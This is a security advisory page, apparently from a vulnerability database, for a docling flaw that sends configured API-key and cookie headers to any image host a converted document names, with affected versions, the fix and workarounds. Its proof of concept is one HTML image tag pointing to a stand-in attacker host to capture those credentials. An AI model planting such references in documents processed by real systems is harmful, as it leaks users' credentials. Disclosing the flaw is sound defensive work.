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3.7

docling sends configured headers to any remote image host

CVE-2026-105742 · published 3 days ago
Summary

When docling is set to fetch images from remote URLs and custom headers are supplied, it includes those headers on every image request, even to sites the document references. This can expose API keys, cookies or other credentials to an attacker‑controlled server. Use the default settings or avoid providing headers when processing untrusted documents, and update to docling 2.132.0 or later.

What to do
  • Update docling to version 2.132.0.
  • Update docling-slim to version 2.132.0.
  • Update docling docling to version 2.132.0 or later.
Affected software
Ecosystem VendorProductAffected versions
– docling-project docling >= 2.95.0, < 2.132.0
– docling-project docling-slim >= 2.95.0, < 2.132.0
– docling docling >= 2.95.0, < 2.132.0
cpe:2.3:a:docling:docling:*:*:*:*:*:*:*:*
pip – docling >= 2.95.0, < 2.132.0
Fix: upgrade to 2.132.0
pip – docling-slim >= 2.95.0, < 2.132.0
Fix: upgrade to 2.132.0
Original advisory text
Docling: Configured HTTP headers sent to every remote image host named by a document
### Summary

`HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.

### Details

`docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document's origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects.

### Affected configurations

- Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML.
- Not affected: the default configuration.

### Impact

Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.

### Proof of concept

```html
<img src="https://attacker.example/pixel.png">
```

Converting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."})` sends the key to `attacker.example`.

Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.

### Patches

Fixed in docling 2.132.0 by [#4420](https://github.com/docling-project/docling/pull/4420). Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.

### Workarounds

Upgrade to 2.132.0. For older versions:

Do not set `headers` when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.
References
Fix within
Internet-facing 60 days
Internal At next upgrade
  • Not known to be exploited
  • Needs hands-on effort to exploit
  • Gives an attacker partial control
Severity
3.7 Low
Exploitation
<1% chance of attack within 30 days
Type
CWE-201Insertion of Sensitive Information Into Sent Data
CWE-522Insufficiently Protected Credentials
Timeline
Published15 Oct 2026
Updated15 Oct 2026
First seen5 Oct 2026
Sources
CVE-2026-105742 · NVD
CVE-2026-105742 · MITRE
CVE-2026-105742 · OSV
GHSA-p3fw-7699-7926 · GHSA
GHSA-p3fw-7699-7926 · OSV
PYSEC-2026-4189 · OSV
PYSEC-2026-4212 · OSV
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